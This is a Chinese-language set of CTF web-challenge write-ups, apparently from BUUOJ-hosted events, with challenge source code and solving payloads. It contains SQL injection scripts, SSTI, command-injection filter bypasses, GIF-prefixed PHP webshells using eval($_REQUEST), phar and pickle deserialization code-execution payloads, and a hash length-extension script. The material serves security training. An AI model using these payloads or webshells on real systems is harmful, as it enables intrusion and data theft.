highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
?file=source.php%253F/../../../../ffffllllaaaagggg
%253F
是?
的二次url编码return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
?inject=1'%23
有回显?inject=1';show tables;%23
回显表名array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
?inject=1'; desc `1919810931114514`;%23
读出表的结构,有flag列
尝试用SET…PREPARE…EXECUTE读取flag
构造payload:?inject=1'; SeT@sql1=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20sql2%20from%20@sql1;execute%20sql2;%23
获得flag
file?filename=....&filehash=.....
md5(cookie_secret+md5(filename))
cookie_secret
的值error?msg=Error
,页面回显是Error,所以猜测参数可控,尝试一下模板注入error?msg={{ handler.settings }}
,回显得到{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '3ed6ba3b-9e69-4455-ba41-bf79db2488ba'}
file?filename=/fllllllllllllag&filehash=2bfb666063392448046dd1b18ae70b19
*,1
就出flag了select $_POST[query] || flag from flag
set sql_mode=PIPES_AS_CONCAT
将||
作为连接符,而不是或运算即可query=1;set sql_mode=PIPES_AS_CONCAT;select 1
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
从源码可以知道,session[‘name’]是admin时,就可以在主界面读取flag
查看config.py找到SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
知道secret_key后,就可以伪造session了
脚本链接
构造payload获得flag
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
calc.php?%20num=1;var_dump(scandir(chr(47)));
flagg
calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
GIF89a
auto_prepend_file=shell.jpg
auto_append_file=shell.jpg
//目的是相当于使这个文件夹下的所有php都include了shell.jpg
//跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
GIF89A
<script language='php'>eval($_REQUEST['rdd']);</script>
username '='
password '='
id
查询union,and,or,%20,/**/,#
id=if(substr((select(1)),1,1)=2,1,0)
,可以打通import requests
url = 'http://e31c281b-7d07-44ba-a403-36491807c132.node3.buuoj.cn/index.php'
result = ''
req = requests.session()
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(x, mid)
data = {
"id":payload
}
r1 = req.post(url, data = data)
if 'Hello' in r1.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
print("end.......")
print(result)
secr3t.php
里代码如下
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
获得flagrobots.txt
,内容是:/user.php.bak
,扫描得到flag.php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
view.php
中,可以回显自己注册时输入的博客内容view.php
的参数为no=1,所以猜测存在sql注入no=1'
有报错回显,所以猜测存在报错注入//表名
?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
//[*] query error! (XPATH syntax error: '~,users')
//列名
?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
//[*] query error! (XPATH syntax error: '~,no,username,passwd,data,USER,C')
//数据
?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
//[*] query error! (XPATH syntax error: '~,O:8:"UserInfo":3:{s:4:"name";s')
?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
设置了三个路由分别是/,/de1ta,/geneSign
/
是获取源码
/de1ta
是获取cookie中的action,sign
,get方式获取param
,结合自己的ip,实例化Task对象,返回一个json值
/geneSign
获取action,sign
调用getSign
获取一个和secret
md5之后的值
waf
函数规定不能是gopher,file
开头
Task类的作用:action为scan时,读取内容放到sandbox里的result.txt,action为read时,读取result.txt的内容
在scan时,用到的是urlopen()函数,urlopen读取本地文件的方法
直接写文件名
local_file:///etc/passwd
md5绕过可以使用哈希扩展攻击
最后脚本—借用的赵总的博客
import hashpumpy
import requests
import urllib.parse
url = 'flag.txt'
r = requests.get('http://web68.buuoj.cn/geneSign', params={'param': url})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, url + 'scan', 'read', 16)
r = requests.get('http://web68.buuoj.cn/De1ta', params={'param': url}, cookies={
'sign': hash_sign[0],
'action': urllib.parse.quote(hash_sign[1][len(url):])
})
print(r.text)
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
help
链接,打开后回显java.io.FileNotFoundException:{help.docx}
WEB-INF/web.xml
,于是把文件名换一下<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
/Flag
路由,访问一下,界面500的,但是报错界面爆出了路径com/wm/ctf/FlagController
,尝试读取一下WEB-INF/classes/com/wm/ctf/FlagController.class
'=' '='
登陆?username=admin&password=admin' union select 1,2,group_concat(password) from l0ve1ysq1#
?ip=
ip=127.0.0.1||ls
,可以发现flag.php
I F S IFS IFS
${IFS}
$IFS$1
{cat,flag.php}
%20
%09
…
构造一下,发现还过滤了flag,*
,可以用\
绕过,(linux特性),也可以用 `ls`绕过
index.php的源码
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo ""
;
print_r($a);
}
?>
?ip=127.0.0.1||a=g;cat$IFS$1fla$a.php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
'
绕过,写进去一个木马' -oG hack.php '
,连一下就行了?username=admin&password=admin1'uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql#
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
file_get_contents($text,'r')==="welcome to the zjctf"
,构造text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
useless.php
,源码如下
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
password
上,使Flag
类中的file
为flag.php即可?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
pay.php
,发现:FLAG NEED YOUR 100000000 MONEY
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number";
}elseif ($password == 404) {
echo "Password Right!";
}
}
user=0
,直接修改为1is_numeric
,只需要在404后面加个空格money[]=a
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
encode('idna')
进行suctf.cc
的绕过配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf 或 /etc/nginx/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
file://suctf.c℆sr/local/nginx/conf/nginx.conf
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
# location /flag {
# alias /usr/fffffflag;
# }
}
getUrl?url=file://suctf.c℆sr/fffffflag
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
//class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '. htmlentities($filename) . '">涓嬭浇 / 鍒犻櫎 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
-
File中的close方法存在文件读取,可以利用这一点读取flag
-
读取download.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
- 可以发现,filename中不允许出现flag,并且之能是open_basedir下的文件
- delete.php的源码,发现是可以利用的
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
- 我们可以通过反序列化来构造一个链子,使filename为flag
- 分析class.php
User中的__destruct方法会执行db的close方法,并且会在对象销毁时自动执行
FileList方法中存在__call方法,在本类中没有的方法被调用的时候,会执行,由__call的代码可以知道,能执行File类的
- 构造链子(phar的
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
- 修改后缀为png,利用delete,读一下
phar://phar.png
文件就有flag了
[CISCN2019 华北赛区 Day1 Web2]ikun
- 鸡你太美
- 查看页面,先随便注册一个账号,登陆后
- 在主界面发现
ikun们冲鸭,一定要买到lv6!!!
,但是现在界面上的没有v6的,查看第二页,发现是通过page控制的,所以爆破一下,看看lv6在第几页
import requests
url="http://a8c32cbf-6656-4958-9a5e-b1ba03c9d793.node3.buuoj.cn/shop?page="
for i in range(0,2000):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break
- 在page=181发现了lv6
- 点开后发现很贵,但是有优惠券,抓下包,发现是可以改的,于是修改
discount
- 回显只能admin访问
- 在session中发现jwt参数,解密一下,是:
{ "username": "rdd"}
,于是修改成admin,但是还需要有密钥,于是爆破一下:脚本(jwtcrack …)
- 爆破出来是
1Kun
- 构造好后,在访问一下,还要成为大会员
- 查看源码,发现
/static/asd1f654e683wq/www.zip
- 下载下来源码后审计一下
(r'/b1g_m4mber', AdminHandler)
- 在view/Admin.py中发现了pickle
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
- 接收post的becode值,并pickle处理(相当于序列化和反序列化),我们可以通过构造一个类中含有
__reduce__
函数(reduce 被定义之后,当对象被Pickle时就会被调用),再通过这个函数执行代码
- 构造payload
#python2
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print (a)
- 得到
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
,post传入即可获得flag(再urlencode一下)
[SWPU2019]Web1
- 注册一个账号
- 登陆看看,可以申请发布广告,当传入的是
1'
时,会报错,所以推测是存在sql注入
- fuzz后,发现过滤了空格,可以用/**/绕过,过滤了or,所以没法用order by测有多少列
- 只能union select 一列一列测
- 最终测得有22列,显示在第2,3列
- 于是构造payload,因为过滤了or,这篇文章有讲绕过思路(链接)
- 构造payload
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
,回显表名FLAG_TABLE,news,users,gtid_slave_pos,ads,users
- 读取flag
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
[极客大挑战 2019]Upload
- 是一个上传题
- 但是限制了文件后缀名
- 于是抓包改一下,尝试绕过
- 最后构造为
Content-Disposition: form-data; name="file"; filename="111.phtml"
Content-Type: image/jpeg
GIF89
<script language="php">eval($_REQUEST[rdd])</script>
- 成功上传,连接后获得flag
[安洵杯 2019]easy_web
- 这个题以前写的有,直接拿来用吧
- 打开题目后,观察url:
http://xjusec.club:8814/index.php?img=TXpVek5UTTFNa1UyUVRjd05qYz0&cmd=
- 对img的值进行两次base64解码和一次base16解码:555.jpg
- 于是猜想用img读取页面源码
- 构造url
http://xjusec.club:8814/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=
- 源码中回显数据
data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5hMVV5VVZSamQwNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZyI+JzsKICAgIGRpZSgieGl4ae+9niBubyBmbGFnIik7Cn0gZWxzZSB7CiAgICAkdHh0ID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOwogICAgZWNobyAiPGltZyBzcmM9J2RhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCwiIC4gJHR4dCAuICInPjwvaW1nPiI7CiAgICBlY2hvICI8YnI+IjsKfQplY2hvICRjbWQ7CmVjaG8gIjxicj4iOwppZiAocHJlZ19tYXRjaCgiL2xzfGJhc2h8dGFjfG5sfG1vcmV8bGVzc3xoZWFkfHdnZXR8dGFpbHx2aXxjYXR8b2R8Z3JlcHxzZWR8Ynptb3JlfGJ6bGVzc3xwY3JlfHBhc3RlfGRpZmZ8ZmlsZXxlY2hvfHNofFwnfFwifFxgfDt8LHxcKnxcP3xcXHxcXFxcfFxufFx0fFxyfFx4QTB8XHt8XH18XCh8XCl8XCZbXlxkXXxAfFx8fFxcJHxcW3xcXXx7fH18XCh8XCl8LXw8fD4vaSIsICRjbWQpKSB7CiAgICBlY2hvKCJmb3JiaWQgfiIpOwogICAgZWNobyAiPGJyPiI7Cn0gZWxzZSB7CiAgICBpZiAoKHN0cmluZykkX1BPU1RbJ2EnXSAhPT0gKHN0cmluZykkX1BPU1RbJ2InXSAmJiBtZDUoJF9QT1NUWydhJ10pID09PSBtZDUoJF9QT1NUWydiJ10pKSB7CiAgICAgICAgZWNobyBgJGNtZGA7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gKCJtZDUgaXMgZnVubnkgfiIpOwogICAgfQp9Cgo/Pgo8aHRtbD4KPHN0eWxlPgogIGJvZHl7CiAgIGJhY2tncm91bmQ6dXJsKC4vYmoucG5nKSAgbm8tcmVwZWF0IGNlbnRlciBjZW50ZXI7CiAgIGJhY2tncm91bmQtc2l6ZTpjb3ZlcjsKICAgYmFja2dyb3VuZC1hdHRhY2htZW50OmZpeGVkOwogICBiYWNrZ3JvdW5kLWNvbG9yOiNDQ0NDQ0M7Cn0KPC9zdHlsZT4KPGJvZHk+CjwvYm9keT4KPC9odG1sPg==
- 对数据进行base64解码,得到index.php的源码
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNa1UyUVRjd05qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "";
echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
- 代码审计之后,获得如下信息:
echo
$cmd ;
cmd 可以执行命令,但是过滤了大量命令
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
POST a和b ,a和b不能相等,但是他们的md5值要相等。且string()
函数对a和b进行了处理,md5值的比较使用 ===
不能使用传入数组绕过
- 绕过:
- cmd 绕过思路,预期:ca\t /fla\g,非预期:没有禁用cp命令,可以把flag复制到web目录下,然后直接访问
- md5值比较的绕过思路,这里用到了md5值碰撞
- 构建paylaod
GET:cmd=ca\t /fla\g
